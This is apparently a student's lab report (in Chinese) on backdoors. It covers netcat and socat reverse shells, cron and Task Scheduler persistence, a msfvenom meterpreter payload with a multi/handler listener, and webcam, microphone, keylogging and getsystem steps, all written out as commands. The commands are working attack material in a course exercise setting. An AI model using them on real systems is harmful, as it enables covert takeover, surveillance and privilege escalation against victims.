Exp2 后门原理与实践

20164321 王君陶

一、实验内容

基础问题回答:

1.例举你能想到的一个后门进入到你系统中的可能方式?

答:通过漏洞,点击陌生链接,或者浏览不良网页挂马。

2.例举你知道的后门如何启动起来(win及linux)的方式?

答:

win : 需要先关闭相应杀毒软件,右键管理员运行,或者通过任务计划程序启动。

  linux : 通过crontab指令,计划任务启动。

3.Meterpreter有哪些给你映像深刻的功能?

答:照相功能,当时摄像头闪光灯一亮,屏幕上就出现了我呆滞的照片,被这种技术深深震撼,决定以后一定要做好摄像头隐私保护,用不透明的东西贴着,否则一举一动可能被黑客监视!

4.如何发现自己有系统有没有被安装后门?

答:可以使用各种杀毒软件,我在做实验的时候,我的腾讯电脑管家就拦截了backdoor.exe,确实让人很放心 ,其实windows自带的windows defender就很强大了,装不装其他杀毒软件都行。定期进行木马查杀,并且打开杀毒软件的防护功能,就能避免被安装后门

二、实验内容

1.使用netcat获取主机操作Shell,cron启动

1.1Windows获得Linux Shell

(1)命令 ipconfig 查看win7的IP地址,之后,win7本地用命令 ncat.exe -l -p 4321 监听4321端口,等待其它机器连接该端口

(2)Kali用命令 nc 192.168.1.156 4321 -e /bin/sh 反弹连接win10,提供自己的shell

(3)windows获得linux的shell,可执行linux相关命令

1.2Linux获得Windows Shell

(1)与上面步骤相似,linux下 ifconfig 查询IP地址,nc设置监听本地4321端口 nc -l -p 4321

(2)win7反弹连接linux,提供自己的shell(cmd) ncat.exe -e cmd.exe 192.168.253.128 4321

(3)Linux下看到Windows的命令提示,获得win7的shell,可任意执行指令

1.3nc传输数据

(1)win10监听本地4321端口 ncat.exe -l 4321 ,kali连接win10的4321端口 nc 192.168.1.156 4321

(2)然后就可以让两台机器开始聊天了,kali发一句,win10接收,然后回一句(实现了数据的传输,感觉就是一个低配版的QQ,很神奇啊)

1.4nc定时启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

(1)win7监听本地4321端口 ncat.exe -l -p 4321

(2)crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑,所以会提示选择编辑器。选择“3”,利用最基本的vim编辑器进行编辑( i 进入编辑模式),在最后一行添加任务 05* * * * /bin/netcat 192.168.1.156 4321 -e /bin/sh 。(编辑完成后, esc键 退出编辑模式, :wq 保存并退出)

说明:为何是05 ? => 最后一行的意思是在每个小时的第05分钟执行后面的那条指令。【如图,操作时是14:01,那就设置4分钟后(14:05)执行吧】

(3) crontab -l 可查看配置的任务

(4)当时间到了第05分时,win获得linux的shell,可执行相关命令

2.使用socat获取主机操作Shell, 任务计划启动

2.1在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称4321,之后,新建触发器,选择开始任务时间为:工作站锁定时。

2.2新建操作,选择启动的程序为socat.exe,参数项填为 tcp-listen:4321 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上

2.3创建完成之后,按 Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

但是弹出一个warning的界面,同学也有类似的问题,询问詹平云龙同学之后,他说不要关掉继续实验。

2.4在kali终端输入指令 socat - tcp:192.168.1.156:4321 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win7主机的4321端口),此时可发现已经成功获得了一个windows shell

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

3.1生成后门程序,指令为(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 -f exe > 4321_backdoor.exe

(这个截图出现的第一个问题是粗心大意少输一个_导致的…)

3.2通过nc指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令

先进行:win10上运行ncat命令,等待接收4321_backdoor.exe

ncat.exe -lv 4321 >4321_backdoor.exe

后进行:kali上运行ncat命令,传输4321_backdoor.exe到win10主机(IP:192.168.1.156)上

ncat -nv 192.168.1.156 4321 < 4321_backdoor.exe

然后….

3.3效果

3.4在kali上使用 msfconsole 指令进入msf控制台

后来发现每次进来图案都不一样,应该是个小彩蛋吧

3.5进行如下配置

复制代码

use exploit/multi/handler              //使用handler模块

set payload windows/meterpreter/reverse_tcp   //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell

show options                      //查看利用模块的设置信息

set LHOST 192.168.253.128              //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP

set LPORT 4321                    //设置本主机的端口

show options                     //再次查看一下options,确保设置正确

exploit                        //运行模块

复制代码

(1)设置模块、载荷

(2)查看设置信息(注:Current setting列表示当前设置,如设置不符合,需修改;Required列若是yes,则表示对应行的参数需要设置)

EXITFUNC参数对应的行无需修改,网上解释为:EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。在某些情况下,EXITFUNC是有用的,在利用一个exploit之后,我们需要一个干净地退出。

PROCESS方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。

(3)设置主机IP、端口,并再次用 show options 查看是否设置正确

发现正确

(4) 启用模块

好像出了点问题,半天运行不出来,我就强行停止了

后来发现是要在主机上运行backdoor.exe才可以继续

(5)在win10上运行后门程序(这里,也许要提前关闭一下杀毒软件和防火墙,否则,可能运行时会出问题)

(6)查看kali,发现获得了win10主机的连接,并且得到了远程控制的shell,可执行相关命令

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容

(1)获取目标主机音频、截屏内容

record_mic    //音频

screenshot    //截屏

(2)发现win7中有摄像设备,可以获取一下摄像头所拍摄相片(发现闪光灯亮了下,然后就拍照完成了,真的神奇啊,因为我以为这个intergrated webcam 不是摄像头,后来想了下,cam就是摄像机的缩写啊)

(3)获取击键记录

kali上输入指令 keyscan_start ,开始记录win10上任何键盘记录,随意在win10上输入一些字母,之后kali上输入指令 keyscan_dump ,就可下载键盘记录

我输入了:真的假的啊

真的!

4.2提权

(1)先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权,提权成功,管理员权限为所欲为!

三、实验感想与体会

这次实验之后对于计划任务有了很大的认识,赶紧看了一眼计划任务里面有没有奇怪的任务,发现了有很多系统软件的更新程序就是计划任务的,比如说:

这个就是英伟达experience的自动更新程序,每天12点25自动启动。

本次实验简单地了解了后门原理,对后门的形成、植入、利用攻击等一系列过程有了初步的认识,也被Meterpreter的强大功能所震撼,以后要时刻做好隐私保护,及时更新漏洞,更新杀毒软件,定期杀毒,防止自己的电脑也被挂马控制。

Exp2 后门原理与实践 20164321 王君陶的更多相关文章

  1. Exp3 免杀原理与实践 20164321 王君陶

    Exp3 免杀原理与实践 20164321 王君陶 1实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分), ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  4. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  7. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  8. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

随机推荐

  1. linux下一些常用系统命令

    查看系统打开的文件数 lsof|wc -l 查看当前目录下的文件数 find -type f | wc -l 查看某个目录下的文件数,注意这里/home包括其所有子目录 find /home -typ ...

  2. DNS/BIND in Debian

    Debian official document:http://www.debian.org/doc/manuals/network-administrator/ch-bind.html Buildi ...

  3. Git 初始状操作指引

    You have an empty repository To get started you will need to run these commands in your terminal. Ne ...

  4. 关于apicloud图片缓存

    imageCache如果是同一个地址,得到的缓存文件名字是一样的.可能是对url md5了一下. apicloud目前有两种清除方式1 一种是api.clearCache   另一种方法当然是强大的 ...

  5. java jvm入门 jvm什么意思 jvm调优

    接下来我会给大家讲解 国内最顶尖的jvm技术 不服来战

  6. @Id 和 @column 注解 使用注意

    当@Id写字啊 field 上时 ,如过 把 @column 写在 getter 方法上 ,会出现错误 或者不起作用 Unknown column 'gecompanys0_.sourcec' in ...

  7. 2018.09.08 poj1185 炮兵阵地(状压dp)

    传送门 状压dp经典题. 我们把每一行的状态压成01串. 预处理出每一行可能出现的状态,然后转移每个被压缩的状态的1的个数就行了. 注意当前行转移要考虑前两行的状态. 还要注意只有一行的情况. 代码: ...

  8. 2018.08.16 POJ1183反正切函数的应用(简单数学)

    传送门 代数变形一波. 显然有b,c>a. 那么这样的话可以令b=a+m,c=a+n. 又有a=(bc-1)/(b+c). 带入展开可知m*n=a*a+1. 要让m+n最小只需让m最大,这个结论 ...

  9. yii2 HTML组手

    1.样式和脚本 1.1 Yii 提供两个方法用于生成包含内联样式和脚本代码的标签. <?= Html::style('.danger { color: #f00; }') ?> Gives ...

  10. hdu -1114(完全背包)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1114 思路:求出存钱罐装全部装满情况下硬币的最小数量,即求出硬币的最小价值.转换为最小背包的问题. # ...